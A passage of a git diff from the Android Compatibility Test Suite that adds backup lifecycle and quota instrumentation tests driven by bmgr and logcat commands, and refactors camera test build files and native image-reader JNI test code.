- private static final int LOCAL_TRANSPORT_EXCEEDING_FILE_SIZE = 30 * 1024 * 1024;
- private static final String BACKUP_APP_NAME = "android.backup.app";
-
- private static final int SMALL_LOGCAT_DELAY = 1000;
-
- private boolean isBackupSupported;
- private boolean wasBackupEnabled;
- private String oldTransport;
-
- @Override
- protected void setUp() throws Exception {
- super.setUp();
- PackageManager packageManager = getInstrumentation().getContext().getPackageManager();
- isBackupSupported = packageManager != null
- && packageManager.hasSystemFeature(PackageManager.FEATURE_BACKUP);
- if (!isBackupSupported) {
- return;
- }
- // Enable backup and select local backup transport
- assertTrue("LocalTransport should be available.", hasBackupTransport(LOCAL_TRANSPORT));
- wasBackupEnabled = enableBackup(true);
- oldTransport = setBackupTransport(LOCAL_TRANSPORT);
- }
-
- @Override
- protected void tearDown() throws Exception {
- // Return old transport
- if (isBackupSupported) {
- setBackupTransport(oldTransport);
- enableBackup(wasBackupEnabled);
- }
- super.tearDown();
- }
-
- public void testQuotaExceeded() throws Exception {
- if (!isBackupSupported) {
- return;
- }
- exec("logcat --clear");
- exec("setprop log.tag." + APP_LOG_TAG +" VERBOSE");
- // Launch test app and create file exceeding limit for local transport
- exec("am start -W -a android.intent.action.MAIN " +
- "-c android.intent.category.LAUNCHER " +
- "-n " + BACKUP_APP_NAME + "/" + BACKUP_APP_NAME +".MainActivity " +
- "-e file_size " + LOCAL_TRANSPORT_EXCEEDING_FILE_SIZE);
- assertTrue("File was not created", waitForLogcat("File created!", 30));
-
- // Request backup and wait for quota exceeded event in logcat
- exec("bmgr backupnow " + BACKUP_APP_NAME);
- assertTrue("Quota exceeded event is not received", waitForLogcat("Quota exceeded!", 10));
- }
-
- private boolean enableBackup(boolean enable) throws Exception {
- boolean previouslyEnabled;
- String output = exec("bmgr enabled");
- Pattern pattern = Pattern.compile("^Backup Manager currently (enabled|disabled)$");
- Matcher matcher = pattern.matcher(output.trim());
- if (matcher.find()) {
- previouslyEnabled = "enabled".equals(matcher.group(1));
- } else {
- throw new RuntimeException("non-parsable output setting bmgr enabled: " + output);
- }
-
- exec("bmgr enable " + enable);
- return previouslyEnabled;
- }
-
- private String setBackupTransport(String transport) throws Exception {
- String output = exec("bmgr transport " + transport);
- Pattern pattern = Pattern.compile("\\(formerly (.*)\\)$");
- Matcher matcher = pattern.matcher(output);
- if (matcher.find()) {
- return matcher.group(1);
- } else {
- throw new RuntimeException("non-parsable output setting bmgr transport: " + output);
- }
- }
-
- private boolean hasBackupTransport(String transport) throws Exception {
- String output = exec("bmgr list transports");
- for (String t : output.split(" ")) {
- if (transport.equals(t)) {
- return true;
- }
- }
- return false;
- }
-
- private boolean waitForLogcat(String logcatString, int maxTimeoutInSeconds) throws Exception {
- long timeout = System.currentTimeMillis() + TimeUnit.SECONDS.toMillis(maxTimeoutInSeconds);
- while (timeout >= System.currentTimeMillis()) {
- FileInputStream fis = executeStreamedShellCommand(getInstrumentation(),
- "logcat -v brief -d " + APP_LOG_TAG + ":* *:S");
- BufferedReader log = new BufferedReader(new InputStreamReader(fis));
- String line;
- while ((line = log.readLine()) != null) {
- if (line.contains(logcatString)) {
- return true;
- }
- }
- closeQuietly(log);
- // In case the key has not been found, wait for the log to update before
- // performing the next search.
- Thread.sleep(SMALL_LOGCAT_DELAY);
- }
- return false;
- }
-
- private String exec(String command) throws Exception {
- BufferedReader br = null;
- try (InputStream in = executeStreamedShellCommand(getInstrumentation(), command)) {
- br = new BufferedReader(new InputStreamReader(in, StandardCharsets.UTF_8));
- String str = null;
- StringBuilder out = new StringBuilder();
- while ((str = br.readLine()) != null) {
- out.append(str);
- }
- return out.toString();
- }
- }
-
- private static FileInputStream executeStreamedShellCommand(Instrumentation instrumentation,
- String command) throws Exception {
- final ParcelFileDescriptor pfd =
- instrumentation.getUiAutomation().executeShellCommand(command);
- return new ParcelFileDescriptor.AutoCloseInputStream(pfd);
- }
-
- private static void closeQuietly(AutoCloseable closeable) {
- if (closeable != null) {
- try {
- closeable.close();
- } catch (RuntimeException rethrown) {
- throw rethrown;
- } catch (Exception ignored) {
- }
- }
- }
-}
diff --git a/tests/backup/src/android/backup/cts/BaseBackupCtsTest.java b/tests/backup/src/android/backup/cts/BaseBackupCtsTest.java
new file mode 100644
index 0000000..bbd0d26
--- /dev/null
+++ b/tests/backup/src/android/backup/cts/BaseBackupCtsTest.java
@@ -0,0 +1,175 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.backup.cts;
+
+import android.app.Instrumentation;
+import android.content.pm.PackageManager;
+import android.os.ParcelFileDescriptor;
+import android.test.InstrumentationTestCase;
+
+import java.io.BufferedReader;
+import java.io.FileInputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.InputStreamReader;
+import java.nio.charset.StandardCharsets;
+import java.util.UUID;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Base class for backup instrumentation tests.
+ *
+ * Ensures that backup is enabled and local transport selected, and provides some utility methods.
+ */
+public class BaseBackupCtsTest extends InstrumentationTestCase {
+ private static final String APP_LOG_TAG = "BackupCTSApp";
+
+ private static final String LOCAL_TRANSPORT =
+ "android/com.android.internal.backup.LocalTransport";
+
+ private static final int SMALL_LOGCAT_DELAY = 1000;
+
+ private boolean isBackupSupported;
+
+ @Override
+ protected void setUp() throws Exception {
+ super.setUp();
+ PackageManager packageManager = getInstrumentation().getContext().getPackageManager();
+ isBackupSupported = packageManager != null
+ && packageManager.hasSystemFeature(PackageManager.FEATURE_BACKUP);
+
+ if (isBackupSupported) {
+ assertTrue("Backup not enabled", isBackupEnabled());
+ assertTrue("LocalTransport not selected", isLocalTransportSelected());
+ exec("setprop log.tag." + APP_LOG_TAG +" VERBOSE");
+ }
+ }
+
+ public boolean isBackupSupported() {
+ return isBackupSupported;
+ }
+
+ private boolean isBackupEnabled() throws Exception {
+ String output = exec("bmgr enabled");
+ return output.contains("currently enabled");
+ }
+
+ private boolean isLocalTransportSelected() throws Exception {
+ String output = exec("bmgr list transports");
+ return output.contains("* " + LOCAL_TRANSPORT);
+ }
+
+ /**
+ * Attempts to clear logcat.
+ *
+ * Clearing logcat is known to be unreliable, so this methods also output a unique separator
+ * that can be used to find this point in the log even if clearing failed.
+ * @return a unique separator string
+ * @throws Exception
+ */
+ protected String clearLogcat() throws Exception {
+ exec("logcat -c");
+ String uniqueString = ":::" + UUID.randomUUID().toString();
+ exec("log -t " + APP_LOG_TAG + " " + uniqueString);
+ return uniqueString;
+ }
+
+ /**
+ * Wait for up to maxTimeoutInSeconds for the given strings to appear in the logcat in the given order.
+ * By passing the separator returned by {@link #clearLogcat} as the first string you can ensure that only
+ * logs emitted after that call to clearLogcat are found.
+ *
+ * @throws AssertionError if the strings are not found in the given time.
+ */
+ protected void waitForLogcat(int maxTimeoutInSeconds, String... logcatStrings)
+ throws Exception {
+ long timeout = System.currentTimeMillis() + TimeUnit.SECONDS.toMillis(maxTimeoutInSeconds);
+ int stringIndex = 0;
+ while (timeout >= System.currentTimeMillis()) {
+ FileInputStream fis = executeStreamedShellCommand(getInstrumentation(),
+ "logcat -v brief -d " + APP_LOG_TAG + ":* *:S");
+ BufferedReader log = new BufferedReader(new InputStreamReader(fis));
+ String line;
+ stringIndex = 0;
+ while ((line = log.readLine()) != null) {
+ if (line.contains(logcatStrings[stringIndex])) {
+ stringIndex++;
+ if (stringIndex >= logcatStrings.length) {
+ drainAndClose(log);
+ return;
+ }
+ }
+ }
+ closeQuietly(log);
+ // In case the key has not been found, wait for the log to update before
+ // performing the next search.
+ Thread.sleep(SMALL_LOGCAT_DELAY);
+ }
+ fail("Couldn't find " + logcatStrings[stringIndex] +
+ (stringIndex > 0 ? " after " + logcatStrings[stringIndex - 1] : "") +
+ " within " + maxTimeoutInSeconds + " seconds ");
+ }
+
+ protected void createTestFileOfSize(String packageName, int size) throws Exception {
+ exec("am start -a android.intent.action.MAIN " +
+ "-c android.intent.category.LAUNCHER " +
+ "-n " + packageName + "/android.backup.app.MainActivity " +
+ "-e file_size " + size);
+ waitForLogcat(30, "File created!");
+ }
+
+ protected String exec(String command) throws Exception {
+ try (InputStream in = executeStreamedShellCommand(getInstrumentation(), command)) {
+ BufferedReader br = new BufferedReader(
+ new InputStreamReader(in, StandardCharsets.UTF_8));
+ String str;
+ StringBuilder out = new StringBuilder();
+ while ((str = br.readLine()) != null) {
+ out.append(str);
+ }
+ return out.toString();
+ }
+ }
+
+ private static FileInputStream executeStreamedShellCommand(Instrumentation instrumentation,
+ String command) throws Exception {
+ final ParcelFileDescriptor pfd =
+ instrumentation.getUiAutomation().executeShellCommand(command);
+ return new ParcelFileDescriptor.AutoCloseInputStream(pfd);
+ }
+
+ private static void drainAndClose(BufferedReader reader) {
+ try {
+ while (reader.read() >= 0) {
+ // do nothing.
+ }
+ } catch (IOException ignored) {
+ }
+ closeQuietly(reader);
+ }
+
+ private static void closeQuietly(AutoCloseable closeable) {
+ if (closeable != null) {
+ try {
+ closeable.close();
+ } catch (RuntimeException rethrown) {
+ throw rethrown;
+ } catch (Exception ignored) {
+ }
+ }
+ }
+}
diff --git a/tests/backup/src/android/backup/cts/FullBackupLifecycleTest.java b/tests/backup/src/android/backup/cts/FullBackupLifecycleTest.java
new file mode 100644
index 0000000..beefa01
--- /dev/null
+++ b/tests/backup/src/android/backup/cts/FullBackupLifecycleTest.java
@@ -0,0 +1,61 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.backup.cts;
+
+/**
+ * Verifies that key methods are called in expected order during backup / restore.
+ */
+public class FullBackupLifecycleTest extends BaseBackupCtsTest {
+
+ private static final String BACKUP_APP_NAME = "android.backup.app";
+
+ private static final int LOCAL_TRANSPORT_CONFORMING_FILE_SIZE = 5 * 1024;
+
+ private static final int TIMEOUT_SECONDS = 30;
+
+ public void testExpectedMethodsCalledInOrder() throws Exception {
+ if (!isBackupSupported()) {
+ return;
+ }
+ String backupSeparator = clearLogcat();
+
+ // Make sure there's something to backup
+ createTestFileOfSize(BACKUP_APP_NAME, LOCAL_TRANSPORT_CONFORMING_FILE_SIZE);
+
+ // Request backup and wait for it to complete
+ exec("bmgr backupnow " + BACKUP_APP_NAME);
+
+ waitForLogcat(TIMEOUT_SECONDS,
+ backupSeparator,
+ "onCreate",
+ "Full backup requested",
+ "onDestroy");
+
+ String restoreSeparator = clearLogcat();
+
+ // Now request restore and wait for it to complete
+ exec("bmgr restore " + BACKUP_APP_NAME);
+
+ waitForLogcat(TIMEOUT_SECONDS,
+ restoreSeparator,
+ "onCreate",
+ "onRestoreFile",
+ "onRestoreFinished",
+ "onDestroy");
+ }
+
+}
diff --git a/tests/backup/src/android/backup/cts/FullBackupQuotaTest.java b/tests/backup/src/android/backup/cts/FullBackupQuotaTest.java
new file mode 100644
index 0000000..3924e87
--- /dev/null
+++ b/tests/backup/src/android/backup/cts/FullBackupQuotaTest.java
@@ -0,0 +1,68 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.backup.cts;
+
+/**
+ * Verifies receiving quotaExceeded() callback on full backup.
+ *
+ * Uses test app that creates large file and receives the callback.
+ * {@link com.android.internal.backup.LocalTransport} is used, it has size quota 25MB.
+ */
+public class FullBackupQuotaTest extends BaseBackupCtsTest {
+
+ private static final String BACKUP_APP_NAME = "android.backup.app";
+
+ // Should be the same as LocalTransport.FULL_BACKUP_SIZE_QUOTA
+ private static final int LOCAL_TRANSPORT_BACKUP_QUOTA = 25 * 1024 * 1024;
+ private static final int LOCAL_TRANSPORT_EXCEEDING_FILE_SIZE = 30 * 1024 * 1024;
+
+ private static final int TIMEOUT_SECONDS = 30;
+
+ public void testQuotaExceeded() throws Exception {
+ if (!isBackupSupported()) {
+ return;
+ }
+ String separator = clearLogcat();
+ // Launch test app and create file exceeding limit for local transport
+ createTestFileOfSize(BACKUP_APP_NAME, LOCAL_TRANSPORT_EXCEEDING_FILE_SIZE);
+
+ // Request backup and wait for quota exceeded event in logcat
+ exec("bmgr backupnow " + BACKUP_APP_NAME);
+ waitForLogcat(TIMEOUT_SECONDS,separator,
+ "Quota exceeded!");
+ }
+
+ public void testQuotaReported() throws Exception {
+ if (!isBackupSupported()) {
+ return;
+ }
+ // get the app out of (possibly) stopped state so that backup can be run
+ exec("cmd activity broadcast -a android.backup.app.ACTION_WAKE_UP " +
+ "-n android.backup.app/.WakeUpReceiver");
+
+ // give it 3s for the broadcast to be delivered
+ try {
+ Thread.sleep(3000);
+ } catch (InterruptedException e) {}
+
+ String separator = clearLogcat();
+ exec("bmgr backupnow " + BACKUP_APP_NAME);
+ waitForLogcat(TIMEOUT_SECONDS,separator,
+ "quota is " + LOCAL_TRANSPORT_BACKUP_QUOTA);
+ }
+
+}
diff --git a/tests/backup/src/android/backup/cts/KeyValueLifecycleTest.java b/tests/backup/src/android/backup/cts/KeyValueLifecycleTest.java
new file mode 100644
index 0000000..d957bbc
--- /dev/null
+++ b/tests/backup/src/android/backup/cts/KeyValueLifecycleTest.java
@@ -0,0 +1,59 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.backup.cts;
+
+/**
+ * Verifies that key methods are called in expected order during backup / restore.
+ */
+public class KeyValueLifecycleTest extends BaseBackupCtsTest {
+
+ private static final String BACKUP_APP_NAME = "android.backup.kvapp";
+
+ private static final int LOCAL_TRANSPORT_CONFORMING_FILE_SIZE = 5 * 1024;
+
+ private static final int TIMEOUT_SECONDS = 30;
+
+ public void testExpectedMethodsCalledInOrder() throws Exception {
+ if (!isBackupSupported()) {
+ return;
+ }
+ String backupSeparator = clearLogcat();
+
+ // Make sure there's something to backup
+ createTestFileOfSize(BACKUP_APP_NAME, LOCAL_TRANSPORT_CONFORMING_FILE_SIZE);
+
+ // Request backup and wait for it to complete
+ exec("bmgr backupnow " + BACKUP_APP_NAME);
+
+ waitForLogcat(TIMEOUT_SECONDS,backupSeparator,
+ "onCreate",
+ "Backup requested",
+ "onDestroy");
+
+ String restoreSeparator = clearLogcat();
+
+ // Now request restore and wait for it to complete
+ exec("bmgr restore " + BACKUP_APP_NAME);
+
+ waitForLogcat(TIMEOUT_SECONDS, restoreSeparator,
+ "onCreate",
+ "Restore requested",
+ "onRestoreFinished",
+ "onDestroy");
+ }
+
+}
diff --git a/tests/backup/src/android/backup/cts/KeyValueQuotaTest.java b/tests/backup/src/android/backup/cts/KeyValueQuotaTest.java
new file mode 100644
index 0000000..ceaa18e
--- /dev/null
+++ b/tests/backup/src/android/backup/cts/KeyValueQuotaTest.java
@@ -0,0 +1,62 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.backup.cts;
+
+/**
+ * Verifies receiving quotaExceeded() callback on full backup.
+ *
+ * Uses test app that creates large file and receives the callback.
+ * {@link com.android.internal.backup.LocalTransport} is used, it has size quota 25MB.
+ */
+public class KeyValueQuotaTest extends BaseBackupCtsTest {
+
+ private static final String BACKUP_APP_NAME = "android.backup.kvapp";
+
+ // Should be the same as LocalTransport. KEY_VALUE_BACKUP_SIZE_QUOTA
+ private static final int LOCAL_TRANSPORT_BACKUP_QUOTA = 5 * 1024 * 1024;
+ private static final int LOCAL_TRANSPORT_EXCEEDING_FILE_SIZE = 6 * 1024 * 1024;
+
+ private static final int TIMEOUT_SECONDS = 30;
+
+ public void testQuotaExceeded() throws Exception {
+ if (!isBackupSupported()) {
+ return;
+ }
+ String separator = clearLogcat();
+ // Launch test app and create file exceeding limit for local transport
+ createTestFileOfSize(BACKUP_APP_NAME, LOCAL_TRANSPORT_EXCEEDING_FILE_SIZE);
+
+ // Request backup and wait for quota exceeded event in logcat
+ exec("bmgr backupnow " + BACKUP_APP_NAME);
+ waitForLogcat(TIMEOUT_SECONDS, separator,
+ "Quota exceeded!");
+ }
+
+ public void testQuotaReported() throws Exception {
+ if (!isBackupSupported()) {
+ return;
+ }
+ // Launch the main activity so the app qualifies for backup.
+ createTestFileOfSize(BACKUP_APP_NAME, 1);
+
+ String separator = clearLogcat();
+ exec("bmgr backupnow " + BACKUP_APP_NAME);
+ waitForLogcat(TIMEOUT_SECONDS, separator,
+ "quota is " + LOCAL_TRANSPORT_BACKUP_QUOTA);
+ }
+
+}
diff --git a/tests/camera/Android.mk b/tests/camera/Android.mk
index af7474e..c8ba9cd 100644
--- a/tests/camera/Android.mk
+++ b/tests/camera/Android.mk
@@ -29,7 +29,7 @@
LOCAL_MODULE := CtsCameraUtils
LOCAL_SDK_VERSION := current
-
+-include cts/error_prone_rules_tests.mk
include $(BUILD_STATIC_JAVA_LIBRARY)
# CtsCameraTestCases package
@@ -58,7 +58,7 @@
$(call all-renderscript-files-under, src)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsCameraTestCases
diff --git a/tests/camera/api25test/Android.mk b/tests/camera/api25test/Android.mk
index f757491..a848031 100644
--- a/tests/camera/api25test/Android.mk
+++ b/tests/camera/api25test/Android.mk
@@ -38,7 +38,7 @@
LOCAL_JAVA_LIBRARIES := android.test.runner
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts
include $(BUILD_CTS_PACKAGE)
diff --git a/tests/camera/api25test/AndroidTest.xml b/tests/camera/api25test/AndroidTest.xml
index f2b5213..a7b2ae7 100644
--- a/tests/camera/api25test/AndroidTest.xml
+++ b/tests/camera/api25test/AndroidTest.xml
@@ -15,6 +15,7 @@
-->
<configuration description="Config for CTS Camera API 25 test cases">
<option name="config-descriptor:metadata" key="component" value="camera" />
+ <option name="not-shardable" value="true" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsCameraApi25TestCases.apk" />
diff --git a/tests/camera/libctscamera2jni/Android.mk b/tests/camera/libctscamera2jni/Android.mk
index 4b80553..e6a078f 100644
--- a/tests/camera/libctscamera2jni/Android.mk
+++ b/tests/camera/libctscamera2jni/Android.mk
@@ -27,8 +27,6 @@
LOCAL_C_INCLUDES := \
$(JNI_H_INCLUDE) \
system/core/include \
- frameworks/av/include/camera/ndk \
- frameworks/av/include/ndk \
# Flags needed by DNG SDK
LOCAL_CFLAGS := -DUNIX_ENV=1 -DqDNGBigEndian=0 -DqDNGThreadSafe=1 -DqDNGUseLibJPEG=1 -DqDNGUseXMP=0 -DqDNGValidate=1 -DqDNGValidateTarget=1 -DqAndroid=1 -fexceptions -Wsign-compare -Wno-reorder -Wframe-larger-than=20000
diff --git a/tests/camera/libctscamera2jni/native-camera-jni.cpp b/tests/camera/libctscamera2jni/native-camera-jni.cpp
index 96b9ea1..b2124ce 100644
--- a/tests/camera/libctscamera2jni/native-camera-jni.cpp
+++ b/tests/camera/libctscamera2jni/native-camera-jni.cpp
@@ -29,12 +29,12 @@
#include <android/native_window_jni.h>
-#include "NdkCameraError.h"
-#include "NdkCameraManager.h"
-#include "NdkCameraDevice.h"
-#include "NdkCameraCaptureSession.h"
-#include "NdkImage.h"
-#include "NdkImageReader.h"
+#include "camera/NdkCameraError.h"
+#include "camera/NdkCameraManager.h"
+#include "camera/NdkCameraDevice.h"
+#include "camera/NdkCameraCaptureSession.h"
+#include "media/NdkImage.h"
+#include "media/NdkImageReader.h"
#define LOG_ERROR(buf, ...) sprintf(buf, __VA_ARGS__); \
ALOGE("%s", buf);
@@ -238,9 +238,11 @@
int mOnActive = 0;
};
+
class ImageReaderListener {
public:
- static void onImageAvailable(void* obj, AImageReader* reader) {
+ // count, acquire, validate, and delete AImage when a new image is available
+ static void validateImageCb(void* obj, AImageReader* reader) {
ALOGV("%s", __FUNCTION__);
if (obj == nullptr) {
return;
@@ -320,6 +322,27 @@
AImage_delete(img);
}
+ // count, acquire image but not delete the image
+ static void acquireImageCb(void* obj, AImageReader* reader) {
+ ALOGV("%s", __FUNCTION__);
+ if (obj == nullptr) {
+ return;
+ }
+ ImageReaderListener* thiz = reinterpret_cast<ImageReaderListener*>(obj);
+ std::lock_guard<std::mutex> lock(thiz->mMutex);
+ thiz->mOnImageAvailableCount++;
+
+ // Acquire, but not closing.
+ AImage* img = nullptr;
+ media_status_t ret = AImageReader_acquireNextImage(reader, &img);
+ if (ret != AMEDIA_OK || img == nullptr) {
+ ALOGE("%s: acquire image from reader %p failed! ret: %d, img %p",
+ __FUNCTION__, reader, ret, img);
+ return;
+ }
+ return;
+ }
+
int onImageAvailableCount() {
std::lock_guard<std::mutex> lock(mMutex);
return mOnImageAvailableCount;
@@ -330,12 +353,6 @@
mDumpFilePathBase = path;
}
- void reset() {
- std::lock_guard<std::mutex> lock(mMutex);
- mOnImageAvailableCount = 0;
- mDumpFilePathBase = nullptr;
- }
-
private:
// TODO: add mReader to make sure each listener is associated to one reader?
std::mutex mMutex;
@@ -383,7 +400,6 @@
// Free all resources except camera manager
void resetCamera() {
- mReaderListener.reset();
mSessionListener.reset();
if (mSession) {
ACameraCaptureSession_close(mSession);
@@ -509,7 +525,8 @@
}
media_status_t initImageReaderWithErrorLog(
- int32_t width, int32_t height, int32_t format, int32_t maxImages) {
+ int32_t width, int32_t height, int32_t format, int32_t maxImages,
+ AImageReader_ImageListener* listener) {
if (mImgReader || mImgReaderAnw) {
LOG_ERROR(errorString, "Cannot init image reader before closing existing one");
return AMEDIA_ERROR_UNKNOWN;
@@ -527,8 +544,7 @@
return AMEDIA_ERROR_UNKNOWN;
}
- ret = AImageReader_setImageListener(
- mImgReader, &mReaderCb);
+ ret = AImageReader_setImageListener(mImgReader, listener);
if (ret != AMEDIA_OK) {
LOG_ERROR(errorString, "Set AImageReader listener failed. ret %d", ret);
return ret;
@@ -749,14 +765,9 @@
mSession, nullptr, 1, &mStillRequest, &seqId);
}
- int getReaderImageCount() {
- return mReaderListener.onImageAvailableCount();
- }
-
camera_status_t resetWithErrorLog() {
camera_status_t ret;
- mReaderListener.reset();
closeSession();
for (int i = 0; i < 50; i++) {
@@ -785,10 +796,6 @@
return ACAMERA_OK;
}
- void setDumpFilePathBase(const char* path) {
- mReaderListener.setDumpFilePathBase(path);
- }
-
CaptureSessionListener* getSessionListener() {
return &mSessionListener;
}
@@ -821,13 +828,6 @@
CaptureSessionListener::onActive
};
- // TODO: capture listeners
- ImageReaderListener mReaderListener;
- AImageReader_ImageListener mReaderCb {
- &mReaderListener,
- ImageReaderListener::onImageAvailable
- };
-
ACameraIdList* mCameraIdList = nullptr;
ACameraDevice* mDevice = nullptr;
AImageReader* mImgReader = nullptr;
@@ -1577,11 +1577,8 @@
return pass;
}
-extern "C" jboolean
-Java_android_hardware_camera2_cts_NativeImageReaderTest_\
-testJpegNative(
- JNIEnv* env, jclass /*clazz*/, jstring jOutPath) {
- ALOGV("%s", __FUNCTION__);
+bool nativeImageReaderTestBase(
+ JNIEnv* env, jstring jOutPath, AImageReader_ImageCallback cb) {
const int NUM_TEST_IMAGES = 10;
const int TEST_WIDTH = 640;
const int TEST_HEIGHT = 480;
@@ -1590,9 +1587,11 @@
bool pass = false;
PreviewTestCase testCase;
- const char* outPath = env->GetStringUTFChars(jOutPath, nullptr);
- testCase.setDumpFilePathBase(outPath);
- ALOGI("%s: out path is %s", __FUNCTION__, outPath);
+ const char* outPath = (jOutPath == nullptr) ? nullptr :
+ env->GetStringUTFChars(jOutPath, nullptr);
+ if (outPath != nullptr) {
+ ALOGI("%s: out path is %s", __FUNCTION__, outPath);
+ }
camera_status_t ret = testCase.initWithErrorLog();
if (ret != ACAMERA_OK) {
@@ -1626,8 +1625,13 @@
goto cleanup;
}
+ ImageReaderListener readerListener;
+ AImageReader_ImageListener readerCb { &readerListener, cb };
+ readerListener.setDumpFilePathBase(outPath);
+
mediaRet = testCase.initImageReaderWithErrorLog(
- TEST_WIDTH, TEST_HEIGHT, AIMAGE_FORMAT_JPEG, NUM_TEST_IMAGES);
+ TEST_WIDTH, TEST_HEIGHT, AIMAGE_FORMAT_JPEG, NUM_TEST_IMAGES,
+ &readerCb);
if (mediaRet != AMEDIA_OK) {
// Don't log error here. testcase did it
goto cleanup;
@@ -1658,16 +1662,16 @@
// wait until all capture finished
for (int i = 0; i < 50; i++) {
usleep(100000); // sleep 100ms
- if (testCase.getReaderImageCount() == NUM_TEST_IMAGES) {
+ if (readerListener.onImageAvailableCount() == NUM_TEST_IMAGES) {
ALOGI("Session take ~%d ms to capture %d images",
i*100, NUM_TEST_IMAGES);
break;
}
}
- if (testCase.getReaderImageCount() != NUM_TEST_IMAGES) {
+ if (readerListener.onImageAvailableCount() != NUM_TEST_IMAGES) {
LOG_ERROR(errorString, "Camera %s timeout capturing %d images. Got %d",
- cameraId, NUM_TEST_IMAGES, testCase.getReaderImageCount());
+ cameraId, NUM_TEST_IMAGES, readerListener.onImageAvailableCount());
goto cleanup;
}
@@ -1694,7 +1698,9 @@
pass = true;
cleanup:
- env->ReleaseStringUTFChars(jOutPath, outPath);
+ if (outPath != nullptr) {
+ env->ReleaseStringUTFChars(jOutPath, outPath);
+ }
ALOGI("%s %s", __FUNCTION__, pass ? "pass" : "failed");
if (!pass) {
throwAssertionError(env, errorString);
@@ -1702,6 +1708,23 @@
return pass;
}
+extern "C" jboolean
+Java_android_hardware_camera2_cts_NativeImageReaderTest_\
+testJpegNative(
+ JNIEnv* env, jclass /*clazz*/, jstring jOutPath) {
+ ALOGV("%s", __FUNCTION__);
+ return nativeImageReaderTestBase(env, jOutPath, ImageReaderListener::validateImageCb);
+}
+
+
+extern "C" jboolean
+Java_android_hardware_camera2_cts_NativeImageReaderTest_\
+testImageReaderCloseAcquiredImagesNative(
+ JNIEnv* env, jclass /*clazz*/) {
+ ALOGV("%s", __FUNCTION__);
+ return nativeImageReaderTestBase(env, nullptr, ImageReaderListener::acquireImageCb);
+}
+
extern "C" jboolean
Java_android_hardware_camera2_cts_NativeStillCaptureTest_\
@@ -1717,7 +1740,6 @@
PreviewTestCase testCase;
const char* outPath = env->GetStringUTFChars(jOutPath, nullptr);
- testCase.setDumpFilePathBase(outPath);
ALOGI("%s: out path is %s", __FUNCTION__, outPath);
camera_status_t ret = testCase.initWithErrorLog();
@@ -1752,8 +1774,15 @@
goto cleanup;
}
+ ImageReaderListener readerListener;
+ AImageReader_ImageListener readerCb {
+ &readerListener,
+ ImageReaderListener::validateImageCb
+ };
+ readerListener.setDumpFilePathBase(outPath);
mediaRet = testCase.initImageReaderWithErrorLog(
- TEST_WIDTH, TEST_HEIGHT, AIMAGE_FORMAT_JPEG, NUM_TEST_IMAGES);
+ TEST_WIDTH, TEST_HEIGHT, AIMAGE_FORMAT_JPEG, NUM_TEST_IMAGES,
+ &readerCb);
if (mediaRet != AMEDIA_OK) {
// Don't log error here. testcase did it
goto cleanup;
@@ -1799,16 +1828,16 @@
// wait until all capture finished
for (int i = 0; i < 50; i++) {
usleep(100000); // sleep 100ms
- if (testCase.getReaderImageCount() == NUM_TEST_IMAGES) {
+ if (readerListener.onImageAvailableCount() == NUM_TEST_IMAGES) {
ALOGI("Session take ~%d ms to capture %d images",
i*100, NUM_TEST_IMAGES);
break;
}
}
- if (testCase.getReaderImageCount() != NUM_TEST_IMAGES) {
+ if (readerListener.onImageAvailableCount() != NUM_TEST_IMAGES) {
LOG_ERROR(errorString, "Camera %s timeout capturing %d images. Got %d",
- cameraId, NUM_TEST_IMAGES, testCase.getReaderImageCount());
+ cameraId, NUM_TEST_IMAGES, readerListener.onImageAvailableCount());
goto cleanup;
}
